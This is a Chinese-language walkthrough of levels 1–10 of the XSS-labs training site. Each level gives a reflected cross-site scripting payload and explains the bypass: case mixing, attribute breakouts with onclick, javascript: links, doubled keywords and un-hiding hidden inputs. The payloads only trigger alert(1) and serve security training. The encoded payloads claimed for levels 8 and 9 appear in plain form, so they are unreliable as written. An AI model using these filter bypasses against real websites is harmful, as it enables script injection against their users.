XSS-labs通关教程-完结
1.第一关
payload:
cobol
http://xss/level1.php?name=<Script>alert(1)</Script>
2.第二关
这里变量出现在两处,我们直接利用第二处,做构造以及闭合
查询框里输入payload
payload:
xml
1"><ScRipt>alert(1)</ScRipt>
3.第三关
用第二关的payload去试一下,发现内容没变化,但是就是没当成js代码
查一下网页源代码和php代码
看到使用了htmlspecialchars方法,它的作用是将特殊符号转换成HTML实体。那么什么是HTML实体呢?
说白了就是HTML为了防止特殊符号,如 "<"等,html当成标签
这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~)
输入到代码框后选择到文件上,点击一下就行
payload:
' onclick ='javascript:alert(1)'//
4.第四关
同第三关(把单引号换成双引号)
payload:
" onclick ="javascript:alert(1)"//
5.第五关
script过滤了,onclick也过滤了
尝试构造a标签
xml
"></input><a href='javascript:alert(1)'>asd</a>//
5.第六关
同第二关
payload:
xml
1"><ScRipt>alert(1)</ScRipt>
7. 第七关
删去了script,这个简单看看是不是过滤了一次,将script变成scrscriptipt
payload:
xml
1"><ScscriptRipt>alert(1)</ScscriptRipt>
8. 第八关
老规矩拿第6关的payload试验一下,然后看网页源代码
上边过滤了<>特殊符号
下边在script中间加了个下划线
但是注意看下边代码再href里
我们这里只是想把href的内容变成javascript:alert(1),而不涉及标签的修改,所以直接编码绕过
payload:
javascript:alert(1)
cobol
javascript:alert(1)
9.第九关
先来波检测,填入它然后查源代码,看过滤情况
xml
<>"'script onclick
查看源码,发现双引号和尖括号都给过滤了,但是下边发现了,您的链接不合法,那我填个合法的
那我们再动动手脚
cobol
javascript:alert(1);http://www.baidu.com
还是不行
那编码呗(第八关的后边加个注释再加个网址)
==注意:==后边的//注释一定要加,不然它就驴唇不对马嘴,自然浏览器也懵逼,所以要把后边的网址注释掉。
payload:
cobol
javascript:alert(1)//http://www.baidu.com
变换后payload
cobol
javascript:alert('1') //http://www.baidu.com
10.第十关
重点注意输入是在URL里
还是'' ' >< script onclick测试一遍,发现只过滤了" 和<>,但是发现了三个隐藏的input,那么根据他们的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用,查看源码
想办法把源代码构造闭合
cobol
<input name="t_sort" value="'.$str33.'" type="hidden">
<input name="t_sort" value="" type='text' onclick='javascript:alert(1)'>// type="hidden">
payload:
cobol
&t_sort=" type='text' onclick='javascript:alert(1)'>//